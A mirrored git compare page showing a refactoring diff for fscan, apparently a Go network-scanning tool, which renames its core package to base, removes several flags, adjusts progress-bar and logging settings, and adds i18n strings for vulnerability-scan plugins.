mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
Compare commits
7 Commits
20cb3356de
...
f943f04de7
Author | SHA1 | Date | |
---|---|---|---|
![]() |
f943f04de7 | ||
![]() |
8c3039506f | ||
![]() |
0a60d76f71 | ||
![]() |
69a70fc577 | ||
![]() |
291da0c879 | ||
![]() |
095437ad1a | ||
![]() |
68a0c99c4c |
@ -22,8 +22,6 @@ var (
|
|||||||
|
|
||||||
ModuleThreadNum int
|
ModuleThreadNum int
|
||||||
GlobalTimeout int64
|
GlobalTimeout int64
|
||||||
LiveTop int
|
|
||||||
UsePing bool
|
|
||||||
EnableFingerprint bool
|
EnableFingerprint bool
|
||||||
|
|
||||||
AddUsers string
|
AddUsers string
|
||||||
@ -60,9 +58,7 @@ var (
|
|||||||
|
|
||||||
DisableSave bool
|
DisableSave bool
|
||||||
Silent bool
|
Silent bool
|
||||||
ShowProgress bool
|
DisableProgress bool
|
||||||
ShowScanPlan bool
|
|
||||||
SlowLogOutput bool
|
|
||||||
|
|
||||||
Shellcode string
|
Shellcode string
|
||||||
|
|
||||||
@ -148,9 +144,8 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
|
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
|
||||||
flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num"))
|
flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num"))
|
||||||
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||||
flag.IntVar(&LiveTop, "top", 10, i18n.GetText("flag_live_top"))
|
// LiveTop 参数已移除,改为智能控制
|
||||||
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||||
flag.BoolVar(&UsePing, "ping", false, i18n.GetText("flag_use_ping"))
|
|
||||||
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
||||||
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
||||||
|
|
||||||
@ -213,11 +208,7 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||||
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||||
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||||
flag.BoolVar(&ShowProgress, "pg", true, i18n.GetText("flag_show_progress"))
|
flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||||
var noProgress bool
|
|
||||||
flag.BoolVar(&noProgress, "np-bar", false, i18n.GetText("flag_no_progress"))
|
|
||||||
flag.BoolVar(&ShowScanPlan, "sp", false, i18n.GetText("flag_show_scan_plan"))
|
|
||||||
flag.BoolVar(&SlowLogOutput, "slow", false, i18n.GetText("flag_slow_log_output"))
|
|
||||||
|
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
// 其他参数
|
// 其他参数
|
||||||
@ -235,11 +226,10 @@ func Flag(Info *HostInfo) {
|
|||||||
// 设置语言
|
// 设置语言
|
||||||
i18n.SetLanguage(Language)
|
i18n.SetLanguage(Language)
|
||||||
|
|
||||||
// 处理进度条禁用逻辑
|
|
||||||
if noProgress {
|
|
||||||
ShowProgress = false
|
|
||||||
}
|
|
||||||
|
|
||||||
|
// 更新进度条显示状态
|
||||||
|
ShowProgress = !DisableProgress
|
||||||
|
|
||||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||||
if showHelp || shouldShowHelp(Info) {
|
if showHelp || shouldShowHelp(Info) {
|
||||||
flag.Usage()
|
flag.Usage()
|
||||||
|
@ -8,6 +8,7 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/common/i18n"
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
"github.com/shadow1ng/fscan/common/logging"
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
"github.com/shadow1ng/fscan/common/parsers"
|
"github.com/shadow1ng/fscan/common/parsers"
|
||||||
|
"github.com/shadow1ng/fscan/common/utils"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ParsedConfiguration 解析后的完整配置(兼容旧代码)
|
// ParsedConfiguration 解析后的完整配置(兼容旧代码)
|
||||||
@ -130,8 +131,8 @@ func Parse(Info *HostInfo) error {
|
|||||||
// 显示解析结果摘要
|
// 显示解析结果摘要
|
||||||
showParseSummary(result.Config)
|
showParseSummary(result.Config)
|
||||||
|
|
||||||
// 同步变量到core包
|
// 同步配置到core包
|
||||||
syncToCore()
|
SyncToCore()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@ -319,10 +320,14 @@ func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// RemoveDuplicate 去重函数 - 保持原有实现
|
// RemoveDuplicate 去重函数 - 恢复原始高效实现
|
||||||
func RemoveDuplicate(old []string) []string {
|
func RemoveDuplicate(old []string) []string {
|
||||||
temp := make(map[string]struct{})
|
if len(old) <= 1 {
|
||||||
var result []string
|
return old
|
||||||
|
}
|
||||||
|
|
||||||
|
temp := make(map[string]struct{}, len(old))
|
||||||
|
result := make([]string, 0, len(old))
|
||||||
|
|
||||||
for _, item := range old {
|
for _, item := range old {
|
||||||
if _, exists := temp[item]; !exists {
|
if _, exists := temp[item]; !exists {
|
||||||
@ -336,28 +341,14 @@ func RemoveDuplicate(old []string) []string {
|
|||||||
|
|
||||||
// 辅助函数
|
// 辅助函数
|
||||||
|
|
||||||
// joinStrings 连接字符串切片
|
// joinStrings 连接字符串切片 - 优化版本使用字符串构建器池
|
||||||
func joinStrings(slice []string, sep string) string {
|
func joinStrings(slice []string, sep string) string {
|
||||||
if len(slice) == 0 {
|
return utils.JoinStrings(slice, sep)
|
||||||
return ""
|
|
||||||
}
|
|
||||||
result := slice[0]
|
|
||||||
for i := 1; i < len(slice); i++ {
|
|
||||||
result += sep + slice[i]
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// joinInts 连接整数切片
|
// joinInts 连接整数切片 - 优化版本使用字符串构建器池
|
||||||
func joinInts(slice []int, sep string) string {
|
func joinInts(slice []int, sep string) string {
|
||||||
if len(slice) == 0 {
|
return utils.JoinInts(slice, sep)
|
||||||
return ""
|
|
||||||
}
|
|
||||||
result := fmt.Sprintf("%d", slice[0])
|
|
||||||
for i := 1; i < len(slice); i++ {
|
|
||||||
result += sep + fmt.Sprintf("%d", slice[i])
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// showParseSummary 显示解析结果摘要
|
// showParseSummary 显示解析结果摘要
|
||||||
@ -483,8 +474,8 @@ func applyLogLevel() {
|
|||||||
config := &logging.LoggerConfig{
|
config := &logging.LoggerConfig{
|
||||||
Level: level,
|
Level: level,
|
||||||
EnableColor: !NoColor,
|
EnableColor: !NoColor,
|
||||||
SlowOutput: SlowLogOutput,
|
SlowOutput: false,
|
||||||
ShowProgress: true,
|
ShowProgress: ShowProgress,
|
||||||
StartTime: StartTime,
|
StartTime: StartTime,
|
||||||
LevelColors: logging.GetDefaultLevelColors(),
|
LevelColors: logging.GetDefaultLevelColors(),
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
package common
|
package common
|
||||||
|
|
||||||
import "github.com/shadow1ng/fscan/common/core"
|
import "github.com/shadow1ng/fscan/common/base"
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Ports.go - 端口常量(向后兼容层)
|
Ports.go - 端口常量(向后兼容层)
|
||||||
@ -10,6 +10,6 @@ Ports.go - 端口常量(向后兼容层)
|
|||||||
|
|
||||||
// 向后兼容的端口常量 - 引用Core包中的定义
|
// 向后兼容的端口常量 - 引用Core包中的定义
|
||||||
var (
|
var (
|
||||||
WebPorts = core.WebPorts // Web服务端口组
|
WebPorts = base.WebPorts // Web服务端口组
|
||||||
MainPorts = core.MainPorts // 主要服务端口组
|
MainPorts = base.MainPorts // 主要服务端口组
|
||||||
)
|
)
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
package core
|
package base
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Constants.go - 核心常量定义
|
Constants.go - 核心常量定义
|
@ -1,4 +1,4 @@
|
|||||||
package core
|
package base
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"sync"
|
"sync"
|
@ -1,4 +1,4 @@
|
|||||||
package core
|
package base
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
@ -15,7 +15,7 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common/core"
|
"github.com/shadow1ng/fscan/common/base"
|
||||||
"github.com/shadow1ng/fscan/common/logging"
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
"github.com/shadow1ng/fscan/common/output"
|
||||||
)
|
)
|
||||||
@ -24,21 +24,21 @@ import (
|
|||||||
// 核心类型导出 - 直接从core模块导出
|
// 核心类型导出 - 直接从core模块导出
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
type HostInfo = core.HostInfo
|
type HostInfo = base.HostInfo
|
||||||
type ScanPlugin = core.ScanPlugin
|
type ScanPlugin = base.ScanPlugin
|
||||||
|
|
||||||
// 插件类型常量
|
// 插件类型常量
|
||||||
const (
|
const (
|
||||||
PluginTypeService = core.PluginTypeService
|
PluginTypeService = base.PluginTypeService
|
||||||
PluginTypeWeb = core.PluginTypeWeb
|
PluginTypeWeb = base.PluginTypeWeb
|
||||||
PluginTypeLocal = core.PluginTypeLocal
|
PluginTypeLocal = base.PluginTypeLocal
|
||||||
PluginTypeBrute = core.PluginTypeBrute
|
PluginTypeBrute = base.PluginTypeBrute
|
||||||
PluginTypePoc = core.PluginTypePoc
|
PluginTypePoc = base.PluginTypePoc
|
||||||
PluginTypeScan = core.PluginTypeScan
|
PluginTypeScan = base.PluginTypeScan
|
||||||
)
|
)
|
||||||
|
|
||||||
// 全局插件管理器
|
// 全局插件管理器
|
||||||
var PluginManager = core.LegacyPluginManager
|
var PluginManager = base.LegacyPluginManager
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 核心功能导出 - 直接调用对应模块
|
// 核心功能导出 - 直接调用对应模块
|
||||||
@ -46,7 +46,7 @@ var PluginManager = core.LegacyPluginManager
|
|||||||
|
|
||||||
// 插件系统
|
// 插件系统
|
||||||
func RegisterPlugin(name string, plugin ScanPlugin) {
|
func RegisterPlugin(name string, plugin ScanPlugin) {
|
||||||
if err := core.RegisterPlugin(name, plugin); err != nil {
|
if err := base.RegisterPlugin(name, plugin); err != nil {
|
||||||
LogError("Failed to register plugin " + name + ": " + err.Error())
|
LogError("Failed to register plugin " + name + ": " + err.Error())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -69,8 +69,8 @@ func getGlobalLogger() *logging.Logger {
|
|||||||
config := &logging.LoggerConfig{
|
config := &logging.LoggerConfig{
|
||||||
Level: level,
|
Level: level,
|
||||||
EnableColor: !NoColor,
|
EnableColor: !NoColor,
|
||||||
SlowOutput: SlowLogOutput,
|
SlowOutput: false,
|
||||||
ShowProgress: true,
|
ShowProgress: ShowProgress,
|
||||||
StartTime: StartTime,
|
StartTime: StartTime,
|
||||||
}
|
}
|
||||||
globalLogger = logging.NewLogger(config)
|
globalLogger = logging.NewLogger(config)
|
||||||
|
@ -52,9 +52,8 @@ type ScanControlConfig struct {
|
|||||||
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
|
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
|
||||||
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
|
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
|
||||||
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
|
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
|
||||||
LiveTop int `json:"live_top"` // 显示的存活主机排名数量
|
// LiveTop 已移除,改为智能控制
|
||||||
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
|
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
|
||||||
UsePing bool `json:"use_ping"` // 是否使用ICMP Ping检测主机存活
|
|
||||||
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
|
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
|
||||||
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
|
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
|
||||||
}
|
}
|
||||||
@ -108,9 +107,7 @@ type DisplayConfig struct {
|
|||||||
Silent bool `json:"silent"` // 是否启用静默模式
|
Silent bool `json:"silent"` // 是否启用静默模式
|
||||||
NoColor bool `json:"no_color"` // 是否禁用彩色输出
|
NoColor bool `json:"no_color"` // 是否禁用彩色输出
|
||||||
LogLevel string `json:"log_level"` // 日志输出级别
|
LogLevel string `json:"log_level"` // 日志输出级别
|
||||||
ShowProgress bool `json:"show_progress"` // 是否显示进度条
|
DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
|
||||||
ShowScanPlan bool `json:"show_scan_plan"` // 是否显示扫描计划详情
|
|
||||||
SlowLogOutput bool `json:"slow_log_output"` // 是否启用慢速日志输出
|
|
||||||
Language string `json:"language"` // 界面语言设置
|
Language string `json:"language"` // 界面语言设置
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -5,15 +5,15 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/schollz/progressbar/v3"
|
"github.com/schollz/progressbar/v3"
|
||||||
"github.com/shadow1ng/fscan/common/core"
|
"github.com/shadow1ng/fscan/common/base"
|
||||||
"github.com/shadow1ng/fscan/common/logging"
|
"github.com/shadow1ng/fscan/common/logging"
|
||||||
)
|
)
|
||||||
|
|
||||||
/*
|
/*
|
||||||
globals.go - 全局变量定义
|
globals.go - 全局变量定义
|
||||||
|
|
||||||
直接导出core模块的变量,避免兼容层重定向。
|
使用线程安全的配置管理,消除双向同步机制,直接使用core包作为唯一数据源。
|
||||||
这些变量被Flag.go和其他模块直接使用。
|
保持向后兼容的同时提供并发安全的访问。
|
||||||
*/
|
*/
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@ -23,72 +23,142 @@ globals.go - 全局变量定义
|
|||||||
var version = "2.0.2"
|
var version = "2.0.2"
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 核心扫描配置 - 直接使用core包变量
|
// 简化的全局状态管理(仅保留必要的同步机制)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// globalState已简化,因为大部分管理函数未被使用
|
||||||
|
// 保留基本的时间记录用于向后兼容
|
||||||
|
var startTimeInit = time.Now()
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 核心扫描配置 - 直接使用core包变量(单一数据源)
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var (
|
var (
|
||||||
ScanMode string // 扫描模式
|
ScanMode string // 直接映射到base.ScanMode
|
||||||
ThreadNum int // 线程数
|
ThreadNum int // 直接映射到base.ThreadNum
|
||||||
Timeout int64 // 超时时间
|
Timeout int64 // 直接映射到base.Timeout
|
||||||
DisablePing bool // 禁用ping
|
DisablePing bool // 直接映射到base.DisablePing
|
||||||
LocalMode bool // 本地模式
|
LocalMode bool // 直接映射到base.LocalMode
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 基础认证配置 - 直接定义
|
// 基础认证配置 - 直接使用core包变量
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var (
|
var (
|
||||||
Username string // 用户名
|
Username string // 直接映射到base.Username
|
||||||
Password string // 密码
|
Password string // 直接映射到base.Password
|
||||||
Userdict map[string][]string // 用户字典
|
Userdict map[string][]string // 直接映射到base.Userdict
|
||||||
Passwords []string // 密码列表
|
Passwords []string // 直接映射到base.Passwords
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 网络配置 - 直接定义
|
// 网络配置 - 直接使用core包变量
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var (
|
var (
|
||||||
HttpProxy string // HTTP代理
|
HttpProxy string // 直接映射到base.HttpProxy
|
||||||
Socks5Proxy string // SOCKS5代理
|
Socks5Proxy string // 直接映射到base.Socks5Proxy
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 显示控制 - 直接定义
|
// 显示控制 - 直接使用core包变量
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var (
|
var (
|
||||||
NoColor bool // 禁用颜色
|
NoColor bool // 直接映射到base.NoColor
|
||||||
Language string // 语言
|
Language string // 直接映射到base.Language
|
||||||
LogLevel string // 日志级别
|
LogLevel string // 直接映射到base.LogLevel
|
||||||
|
|
||||||
|
// 进度条控制
|
||||||
|
ShowProgress bool // 计算得出:!DisableProgress
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 端口映射 - 直接定义
|
// 端口映射 - 直接使用core包变量
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var (
|
var (
|
||||||
PortMap map[int][]string // 端口映射
|
PortMap map[int][]string // 直接映射到base.PortMap
|
||||||
DefaultMap []string // 默认映射
|
DefaultMap []string // 直接映射到base.DefaultMap
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 其他全局变量 - 直接定义,避免多层引用
|
// 线程安全的输出状态管理(已移除未使用的函数)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// 注意:GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
|
||||||
|
// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
|
||||||
|
// 已根据死代码分析移除,因为它们在代码库中没有被使用。
|
||||||
|
// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 核心配置同步(线程安全)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// SyncFromCore 从core包同步配置到common包(读操作)
|
||||||
|
func SyncFromCore() {
|
||||||
|
ScanMode = base.ScanMode
|
||||||
|
ThreadNum = base.ThreadNum
|
||||||
|
Timeout = base.Timeout
|
||||||
|
DisablePing = base.DisablePing
|
||||||
|
LocalMode = base.LocalMode
|
||||||
|
|
||||||
|
Username = base.Username
|
||||||
|
Password = base.Password
|
||||||
|
Userdict = base.Userdict
|
||||||
|
Passwords = base.Passwords
|
||||||
|
|
||||||
|
HttpProxy = base.HttpProxy
|
||||||
|
Socks5Proxy = base.Socks5Proxy
|
||||||
|
|
||||||
|
NoColor = base.NoColor
|
||||||
|
Language = base.Language
|
||||||
|
LogLevel = base.LogLevel
|
||||||
|
|
||||||
|
PortMap = base.PortMap
|
||||||
|
DefaultMap = base.DefaultMap
|
||||||
|
}
|
||||||
|
|
||||||
|
// SyncToCore 同步common包配置到core包(写操作)
|
||||||
|
func SyncToCore() {
|
||||||
|
base.ScanMode = ScanMode
|
||||||
|
base.ThreadNum = ThreadNum
|
||||||
|
base.Timeout = Timeout
|
||||||
|
base.DisablePing = DisablePing
|
||||||
|
base.LocalMode = LocalMode
|
||||||
|
|
||||||
|
base.Username = Username
|
||||||
|
base.Password = Password
|
||||||
|
base.Userdict = Userdict
|
||||||
|
base.Passwords = Passwords
|
||||||
|
|
||||||
|
base.HttpProxy = HttpProxy
|
||||||
|
base.Socks5Proxy = Socks5Proxy
|
||||||
|
|
||||||
|
base.NoColor = NoColor
|
||||||
|
base.Language = Language
|
||||||
|
base.LogLevel = LogLevel
|
||||||
|
|
||||||
|
base.PortMap = PortMap
|
||||||
|
base.DefaultMap = DefaultMap
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 向后兼容的全局变量
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
var (
|
var (
|
||||||
// 输出配置
|
// 输出配置(向后兼容)
|
||||||
Outputfile string
|
Outputfile string
|
||||||
OutputFormat string
|
OutputFormat string
|
||||||
ProgressBar *progressbar.ProgressBar
|
ProgressBar *progressbar.ProgressBar
|
||||||
OutputMutex sync.Mutex
|
OutputMutex sync.Mutex
|
||||||
|
|
||||||
// 日志状态
|
// 统计信息(向后兼容)
|
||||||
Num, End int64
|
Num, End int64
|
||||||
StartTime = time.Now()
|
StartTime = time.Now()
|
||||||
|
|
||||||
// 其他变量按需添加
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@ -107,62 +177,16 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// 初始化和同步函数
|
// 初始化
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
// 初始化核心配置
|
// 初始化core包配置
|
||||||
core.InitGlobalConfig()
|
base.InitGlobalConfig()
|
||||||
|
|
||||||
// 同步变量
|
// 从core包同步初始配置
|
||||||
syncWithCore()
|
SyncFromCore()
|
||||||
}
|
|
||||||
|
|
||||||
// syncWithCore 同步common包变量与core包变量
|
|
||||||
func syncWithCore() {
|
|
||||||
// 读取core包的默认值
|
|
||||||
ScanMode = core.ScanMode
|
|
||||||
ThreadNum = core.ThreadNum
|
|
||||||
Timeout = core.Timeout
|
|
||||||
DisablePing = core.DisablePing
|
|
||||||
LocalMode = core.LocalMode
|
|
||||||
|
|
||||||
Username = core.Username
|
// 初始化向后兼容的时间变量
|
||||||
Password = core.Password
|
StartTime = startTimeInit
|
||||||
Userdict = core.Userdict
|
|
||||||
Passwords = core.Passwords
|
|
||||||
|
|
||||||
HttpProxy = core.HttpProxy
|
|
||||||
Socks5Proxy = core.Socks5Proxy
|
|
||||||
|
|
||||||
NoColor = core.NoColor
|
|
||||||
Language = core.Language
|
|
||||||
LogLevel = core.LogLevel
|
|
||||||
|
|
||||||
PortMap = core.PortMap
|
|
||||||
DefaultMap = core.DefaultMap
|
|
||||||
}
|
|
||||||
|
|
||||||
// syncToCore 将common包变量同步回core包
|
|
||||||
func syncToCore() {
|
|
||||||
core.ScanMode = ScanMode
|
|
||||||
core.ThreadNum = ThreadNum
|
|
||||||
core.Timeout = Timeout
|
|
||||||
core.DisablePing = DisablePing
|
|
||||||
core.LocalMode = LocalMode
|
|
||||||
|
|
||||||
core.Username = Username
|
|
||||||
core.Password = Password
|
|
||||||
core.Userdict = Userdict
|
|
||||||
core.Passwords = Passwords
|
|
||||||
|
|
||||||
core.HttpProxy = HttpProxy
|
|
||||||
core.Socks5Proxy = Socks5Proxy
|
|
||||||
|
|
||||||
core.NoColor = NoColor
|
|
||||||
core.Language = Language
|
|
||||||
core.LogLevel = LogLevel
|
|
||||||
|
|
||||||
core.PortMap = PortMap
|
|
||||||
core.DefaultMap = DefaultMap
|
|
||||||
}
|
}
|
@ -616,10 +616,22 @@ var coreMessages = map[string]map[string]string{
|
|||||||
LangZH: "开始主机扫描",
|
LangZH: "开始主机扫描",
|
||||||
LangEN: "Starting host scan",
|
LangEN: "Starting host scan",
|
||||||
},
|
},
|
||||||
|
"scan_vulnerability_start": {
|
||||||
|
LangZH: "开始漏洞扫描",
|
||||||
|
LangEN: "Starting vulnerability scan",
|
||||||
|
},
|
||||||
"scan_no_service_plugins": {
|
"scan_no_service_plugins": {
|
||||||
LangZH: "未找到可用的服务插件",
|
LangZH: "未找到可用的服务插件",
|
||||||
LangEN: "No available service plugins found",
|
LangEN: "No available service plugins found",
|
||||||
},
|
},
|
||||||
|
"scan_vulnerability_plugins": {
|
||||||
|
LangZH: "使用漏洞扫描插件: %s",
|
||||||
|
LangEN: "Using vulnerability scan plugins: %s",
|
||||||
|
},
|
||||||
|
"scan_no_vulnerability_plugins": {
|
||||||
|
LangZH: "未找到可用的漏洞扫描插件",
|
||||||
|
LangEN: "No available vulnerability scan plugins found",
|
||||||
|
},
|
||||||
"scan_complete_ports_found": {
|
"scan_complete_ports_found": {
|
||||||
LangZH: "扫描完成, 发现 %d 个开放端口",
|
LangZH: "扫描完成, 发现 %d 个开放端口",
|
||||||
LangEN: "Scan completed, found %d open ports",
|
LangEN: "Scan completed, found %d open ports",
|
||||||
@ -692,10 +704,6 @@ var coreMessages = map[string]map[string]string{
|
|||||||
LangZH: "禁用ping探测",
|
LangZH: "禁用ping探测",
|
||||||
LangEN: "Disable ping detection",
|
LangEN: "Disable ping detection",
|
||||||
},
|
},
|
||||||
"flag_use_ping": {
|
|
||||||
LangZH: "启用ping探测",
|
|
||||||
LangEN: "Enable ping detection",
|
|
||||||
},
|
|
||||||
"flag_enable_fingerprint": {
|
"flag_enable_fingerprint": {
|
||||||
LangZH: "启用指纹识别",
|
LangZH: "启用指纹识别",
|
||||||
LangEN: "Enable fingerprinting",
|
LangEN: "Enable fingerprinting",
|
||||||
@ -848,22 +856,10 @@ var coreMessages = map[string]map[string]string{
|
|||||||
LangZH: "日志级别",
|
LangZH: "日志级别",
|
||||||
LangEN: "Log level",
|
LangEN: "Log level",
|
||||||
},
|
},
|
||||||
"flag_show_progress": {
|
"flag_disable_progress": {
|
||||||
LangZH: "显示进度条 (默认启用)",
|
|
||||||
LangEN: "Show progress bar (enabled by default)",
|
|
||||||
},
|
|
||||||
"flag_no_progress": {
|
|
||||||
LangZH: "禁用进度条",
|
LangZH: "禁用进度条",
|
||||||
LangEN: "Disable progress bar",
|
LangEN: "Disable progress bar",
|
||||||
},
|
},
|
||||||
"flag_show_scan_plan": {
|
|
||||||
LangZH: "显示扫描计划",
|
|
||||||
LangEN: "Show scan plan",
|
|
||||||
},
|
|
||||||
"flag_slow_log_output": {
|
|
||||||
LangZH: "慢速日志输出",
|
|
||||||
LangEN: "Slow log output",
|
|
||||||
},
|
|
||||||
"flag_shellcode": {
|
"flag_shellcode": {
|
||||||
LangZH: "Shellcode",
|
LangZH: "Shellcode",
|
||||||
LangEN: "Shellcode",
|
LangEN: "Shellcode",
|
||||||
|
@ -1,41 +0,0 @@
|
|||||||
package parsers
|
|
||||||
|
|
||||||
/*
|
|
||||||
LegacyParser.go - 简化的向后兼容解析器
|
|
||||||
|
|
||||||
现在直接使用简化的解析函数,大幅减少代码复杂度,
|
|
||||||
同时保持与现有代码的完全兼容性。
|
|
||||||
*/
|
|
||||||
|
|
||||||
// ParseIP 解析各种格式的IP地址(兼容原函数签名)
|
|
||||||
// 参数:
|
|
||||||
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
|
|
||||||
// - filename: 包含主机地址的文件名
|
|
||||||
// - nohosts: 需要排除的主机地址列表
|
|
||||||
//
|
|
||||||
// 返回:
|
|
||||||
// - []string: 解析后的IP地址列表
|
|
||||||
// - error: 解析过程中的错误
|
|
||||||
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
|
||||||
return SimpleParseIP(host, filename, nohosts...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ParsePort 解析端口配置字符串为端口号列表(兼容原函数签名)
|
|
||||||
// 参数:
|
|
||||||
// - ports: 端口配置字符串
|
|
||||||
//
|
|
||||||
// 返回:
|
|
||||||
// - []int: 解析后的端口号列表
|
|
||||||
func ParsePort(ports string) []int {
|
|
||||||
return SimpleParsePort(ports)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ParsePortsFromString 从字符串解析端口列表(兼容原函数签名)
|
|
||||||
// 参数:
|
|
||||||
// - portsStr: 端口字符串,支持单个端口、端口范围、端口组
|
|
||||||
//
|
|
||||||
// 返回:
|
|
||||||
// - []int: 解析后的端口号列表,已去重并排序
|
|
||||||
func ParsePortsFromString(portsStr string) []int {
|
|
||||||
return SimpleParsePortsFromString(portsStr)
|
|
||||||
}
|
|
@ -1,142 +0,0 @@
|
|||||||
package parsers
|
|
||||||
|
|
||||||
import (
|
|
||||||
"reflect"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
// TestParsePort 测试端口解析功能
|
|
||||||
func TestParsePort(t *testing.T) {
|
|
||||||
tests := []struct {
|
|
||||||
name string
|
|
||||||
input string
|
|
||||||
expected []int
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
name: "Simple ports",
|
|
||||||
input: "80,443,22",
|
|
||||||
expected: []int{22, 80, 443}, // sorted
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "Port range",
|
|
||||||
